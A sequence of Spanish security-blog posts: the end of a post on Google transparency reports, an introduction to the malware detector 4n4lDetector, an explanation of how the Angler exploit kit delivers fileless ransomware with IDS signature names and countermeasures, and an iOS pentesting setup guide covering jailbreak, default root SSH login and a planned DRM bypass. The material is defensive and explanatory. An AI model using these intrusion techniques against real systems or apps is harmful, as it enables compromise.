Aparentemente Google decide si retirar el contenido dependiendo de si el sujeto ha sido buena persona o no, de si despierta lástima en quien revisa la petición u otros criterios subjetivos. Nótese que hay peticiones sobre noticias de acusación, no solo de condenas firmes. ¿Le corresponde a Google decidir sobre estos temas? ¿Debería definir criterios claros y firmes sobre estas peticiones? A fin de cuentas, a pesar de ser una empresa privada que ofrece un servicio privado, Google es quien a día de hoy tiene más poder sobre la difusión de información personal de cualquier persona en el mundo.

A modo de conclusión comentaremos que estos informes de transparencia de Google aportan más información de la que a priori imaginábamos, alguna de la cual puede ser utilizada para conocer el estado de salud de Internet, anomalías relevantes en el uso que los usuarios hacen de la red, o incluso de movimientos estratégicos de empresas y países. Si esta es una pequeñísima porción de la información que nos muestran, imaginaros lo que no nos cuentan…

¡Inquietante!

La entrada Informes de transparencia de Google: más información de lo que a priori suponemos aparece primero en Security Art Work.

(La entrada de hoy corre a cargo de Germán Sanchez, que pueden localizar vía @enelpc o en su página web http://www.enelpc.com/, que nos presenta la herramienta 4n4lDetector. Esperamos que les guste).

4n4lDetector v1.2 es una herramienta destinada a realizar un análisis rápido sobre binarios PE en busca de código malicioso, principalmente de forma estática, aunque también trabaja con ejecución de muestras y sobre sus “Memory Dumps”, aunque ésto último de forma opcional, para evitar comprometer la máquina utilizada en el análisis en el caso que no se desee poner en riesgo.

Detecta modificaciones en binarios mediante técnicas a bajo nivel de evasión antivirus, en busca de códigos y estructuras inusuales por parte de un compilador. Además, cuenta con la extracción y el análisis de las cadenas que el binario pueda contener. La siguiente imagen muestra de forma resumida la información que la herramienta comprueba antes de mostrar el resultado:

La manipulación de un binario, si no se hace de manera meticulosa, trae consigo el riesgo de dejar algún tipo de huella tras la verificación de su integridad, ya que los compiladores ajustan los valores de los punteros de sus estructuras de una forma lógica. Ésto puede revelar cierta información, como se muestra en la siguiente imagen, donde a la izquierda se encuentra el “stub” de 4n4lCrypter, junto a un binario cifrado.

Éste muestra el código agregado de forma externa con una detección “Dropper”, y la modificación del “Checksum”.

La siguiente imagen muestra la detección de la compresión de un binario con UPX. Esta rutina es útil para la detección de multitud de “Packers”. Además en este caso extrae información del compilador que se encuentra detrás del comprimido.

La firma “Rich” de Microsoft utiliza una estructura lógica basada en bloques de valores DWORD, con lo que también es analizada en busca de rastros susceptibles de haber sufrido alguna modificación.

Se utiliza la detección de técnicas “Call API By Name”, con la que los desarrolladores de malware evitan su declaración desde la “Import Table”.

El siguiente ejemplo muestra la extracción de nombres de binarios y ejecuciones que el malware realiza con la línea de comandos de “netsh”. Métodos Anti-Análisis utilizados y una URL.

Se analizan los primeros 25 Bytes tras el “Entry Point” de la aplicación en busca de algoritmos de cifrado, saltos poco comunes por parte de un compilador e incluso si la dirección de entrada ha sido desplazada fuera de la primera sección, como suele ser común siendo ésta ejecutable.

Para tener la herramienta más a mano, he incluido la creación de un archivo REG en la raíz de 4n4lDetector, que se crea la primera vez que este se ejecuta con la ruta actual como instalación.

Espero que os guste la herramienta, que podéis descargar desde el siguiente enlace:

Descarga 4n4lDetector v1.2

Saludos 4n4les! ;)

La entrada 4n4lDetector v1.2 aparece primero en Security Art Work.

Hace unos meses que muchos usuarios están sufriendo en sus propias carnes la amenaza de los ransomware, un malware que se instala en nuestro ordenador y muy eficientemente elige ciertos tipos de ficheros (los que más nos suelen importar: documentos de texto, fotografías, vídeos, hojas de cálculo, bases de datos, etc..) y los cifra, para posteriormente mostrarnos un llamativo mensaje invitándonos a pagar un rescate a cambio del software necesario para descifrar dichos archivos.

La situación es complicada, pero pagar el rescate tampoco asegura la recuperación de los datos. La única solución realmente efectiva es tener una copia de seguridad actualizada e ir con más cuidado la próxima vez.

El personal que se dedica a la seguridad y a las comunicaciones ha establecido medidas para evitar las posibles infecciones. Se bloquean las URL desde las que se descarga el malware, se utilizan reglas más restrictivas en los servidores de correo para analizar los ficheros adjuntos maliciosos y se definen definido reglas del antivirus para bloquear la ejecución de software desde directorios temporales.

Esta última opción de bloqueo de ejecución funcionaba bastante bien, dado que el ransomware se descargaba a una carpeta temporal del ordenador y posteriormente se ejecutaba. Decimos funcionaba, porque poco después, las infecciones por Ransomware empezaron a aumentar nuevamente, y las reglas definidas no llegaban a pararlo. Algo había cambiado en el proceso de infección.

Nueva forma de infección

Al analizar las alertas del IDS recibidas de los nuevos equipos infectados se podía ver que antes de que se produjera la infección por ransomware y el posterior cifrado de los ficheros, se recibían alertas relacionadas relativas a Exploit Kits, concretamente Angler  EK:

ETPRO CURRENT_EVENTS Possible Angler EK Landing URI Struct Jul 29 M1 T2
ETPRO CURRENT_EVENTS Possible Angler EK Flash Exploit June 16 2015 M1
ETPRO CURRENT_EVENTS Possible Angler EK Payload June 16 2015 M2
ET CURRENT_EVENTS Angler EK XTEA encrypted binary (11) M2
ET TROJAN Alphacrypt CnC Beacon Response

Los distribuidores del ransomware habían encontrado una nueva forma de distribuir el malware, evadiendo las medidas de protección y cumpliendo su objetivo de ejecutar el malware en el equipo de la víctima. La elección de un EK para infectar el equipo supone que podemos ser infectados simplemente visitando un sitio web comprometido. Así, mediante un mecanismo de Drive-by download se redirige al usuario al sitio web de descarga del Exploit Kit, que aprovecha las vulnerabilidades del navegador o de los plugins instalados, e infecta nuestro ordenador.

Una vez comprometido el navegador, se descarga el ransomware y se inyecta directamente en la memoria del proceso comprometido, ejecutándose sin haber sido escrito previamente a disco.

Angler EK

Estamos ante uno de los Exploit Kits más populares y sofisticados últimamente; hace uso de exploits clasificados como zero days y puede “transportar” entre su carga malware de diferentes tipos. Por si eso no fuese suficiente, integra varios componentes (HTML, javascript, Flash, Silverlight, Java) para evadir las medidas de protección e infectar a la víctima.

El proceso que usa el atacante consiste en comprometer un sitio web legítimo e inyectar código HTML o javascript en las páginas originales, desde donde se redirigirá al visitante a la “landing page”, el sitio web desde el que se distribuye el EK. Para conseguir esto Angler utiliza varios métodos:

• Redirecciones HTTP POST: inyecta elementos DIV y FORM además de código javascript para engañar al usuario mostrándole un pop-up. Al hacer pinchar sobre éste, se le redirige inadvertidamente a la página de descarga del exploit.
• Redirecciones HTTP 302: en este caso el código javascript se inserta en una página legítima para que cargue contenido desde un host aparentemente legítimo. Es este segundo el que se encarga de cargar un IFRAME que devuelve un código HTML 302 (Found) redirigiendo a la víctima al sitio de descarga del exploit.
• DGA (Domain Generation Algorithms): este método inyecta en el código HTML un script que genera los dominios desde los que se descargará el exploit.

Otra de las técnicas utilizadas por AnglerEK es el DNS shadowing. Esta técnica aprovecha la falta de atención que muchos registradores de dominios tienen sobre sus registros DNS, para modificarlos añadiendo subdominios y redirigiendo su resolución a direcciones IP en poder del atacante, dificultando así la detección.

Fileless infection

A principios del mes de septiembre del 2014 se detectó por primera vez un Angler EK usando este nuevo tipo de infección. La novedad de este método consiste en que una vez se ha conseguido explotar la vulnerabilidad y el payload ha sido descargado, la imagen del ejecutable, en nuestro caso un ransomware, se escribe en la memoria del proceso comprometido y se ejecuta. El ejecutable en ningún momento se escribe en disco, por lo que pasa completamente desapercibido para los antivirus.

Esta nueva modalidad de infección fue adoptada para la distribución de ransomware y se sigue usando a día de hoy con otros tipos de malware.

Contramedidas

La mejor defensa contra este tipo de malware es mantener actualizado nuestro navegador y los plugins que utilicemos (y no tener instalados plugins que no utilicemos), usar complementos de navegación segura para bloquear la ejecución de javascript, ayudarse de algún plugin que nos facilite datos acerca de la reputación del sitio web que visitamos, activar EMET (Enhance Mitigation Experience Toolkit, ver el enlace debajo) para intentar bloquear la ejecución del exploit y tener actualizada la versión de Java.

Además de estas medidas que podemos tomar, existen varios productos comerciales anti-exploit-kits de las compañias Invincea, Bromium y MalwareBytes.

Conclusión

Los medios de distribución e infección de malware estan cambiando para evitar ser detectados por los antivirus y realizar sus acciones de modo que sean invisibles a ojos del usuario. Como suele decirse pero con connotaciones positivas: “transparente para el usuario”.

La adopción de este nuevo método de distribución e instalación de ransomware en el equipo de la víctima, junto con la aparición de nuevas versiones (Cryptowall 3.0, TeslaCrypt 2.0, AlphaCrypt, etc) y la introducción de exploit kits diferentes (Neutrino EK, Nuclear EK) para su distribución, parecen indicar que el ransomware sigue siendo un malware rentable.

Referencias

• Un análisis muy interesante de Angler EK por Sophos: https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
• Primeras noticias de infecciones fileless: http://www.scmagazineuk.com/new-fileless-malware-spotted-in-the-wild/article/410402/
• Domain shadowing por Cisco: http://blogs.cisco.com/security/talos/angler-domain-shadowing
• Análisis de una infección de Angler EK: http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html
• Análisis de una infección fileless por Malwarebytes: https://blog.malwarebytes.org/exploits-2/2014/09/fileless-infections-from-exploit-kit-an-overview/
• EMET: https://support.microsoft.com/es-es/kb/2458544

La entrada Nuevos caminos del Ransomware aparece primero en Security Art Work.

Estamos más que acostumbrados a realizar pruebas de penetración a equipos y aplicaciones web, incluso como estresar aplicaciones en búsqueda de errores no controlados por los desarrolladores. Pero cuando se habla de aplicaciones móviles la cosa cambia. Las apps son algo “nuevo”, y por lo tanto las herramientas y métodos para realizar auditorías de seguridad no son tan conocidos.

A continuación vamos a ver unos primeros pasos para configurar los dispositivos con iOS para realizar pentesting a las aplicaciones móviles.

Antes de realizar pentesting en las aplicaciones de iOS se debe de realizar el jailbreak al dispositivo con el que queremos realizar la auditoría. Existen miles de guías/tutoriales de cómo romper la jaula impuesta por Apple, así que partiré de un dispositivo con el jailbreak ya realizado.

Con un dispositivo desbloqueado lo primero que tenemos que hacer es instalar el set básico de aplicaciones de trabajo, esto viene siendo los ejecutables Linux tales como wget, ps, openssh, less, make,… Pues al fin y al cabo iOS es una distribución Linux aligerada (corregido 30/10, 14:35h). Desde la aplicación, o más bien tienda de aplicaciones cydia instalamos el paquete OpenSSH. El segundo paquete a instalar es BigBoss Recommended tools, que nos ofrece los comandos cotidianos y necesarios para trabajar desde el terminal. Finalmente y para tener un acceso directo a la Shell de iOS instalamos Mobile TotalTerminal.

Es el momento de acceder al dispositivo mediante SSH. Averiguamos la dirección IP desde Ajustes ->Wi-Fi, viendo la información de la conexión que tenemos activa.

Después, ejecutando el comando ssh root@x.x.x.x desde un ordenador en la misma red donde se encuentre el terminal iOS accederemos a la shell del sistema con la contraseña alpine, contraseña por defecto para el usuario root. Como medida de seguridad es recomendable cambiar esta contraseña, comando passwd y contraseña nueva.

Después de cambiar la contraseña de root es un buen momento para actualizar las herramientas internas disponibles en iOS. iOs Como ya se ha dicho, iOS es una distribución Linux y ésta en concreto (corregido 30/10, 14:35h) dispone del gestor/instalador de aplicaciones apt-get, así que ejecutando un apt-get update y apt-get upgrade conseguimos actualizar el sistema.

En este punto ya se dispone de un terminal habilitado para realizar acciones de pentesting sobre las aplicaciones instaladas. Aunque nosotros iremos un poco más lejos: vamos a instalar una herramienta más que nos será realmente útil en los análisis de nuestras aplicaciones.

Class-dump-z es una utilidad disponible en el repositorio cydia de radare que permite extraer la interfaz de las clases de Objective-C de una aplicación. Lo primero que habrá que hacer es añadir el repositorio de radare. Para ello, desde cydia nos dirigimos a Fuentes -> Editar -> Añadir y tecleamos http://cydia.radare.org.

Esto actualizará el fichero /etc/apt/sources.list/cydia.list permitiendo ahora instalar la class-dump-z desde la línea de comandos: apt-get update && apt-get install classdumpz. Tras finalizar el comando class-dump-z estará instalado en el sistema.

Class-dump-z está algo desactualizado y puede que para los binarios más recientes no genere interfaz de clases tan buena como class-dump, pero para el caso no es lo mismo. En la siguiente entrega veremos como estudiar la interfaz de una aplicación y como descrifrar una aplicación para saltarse el DRM y poder auditarla sin problemas.

La entrada Preparar iOS para el pentesting de apps (I) aparece primero en Security Art Work.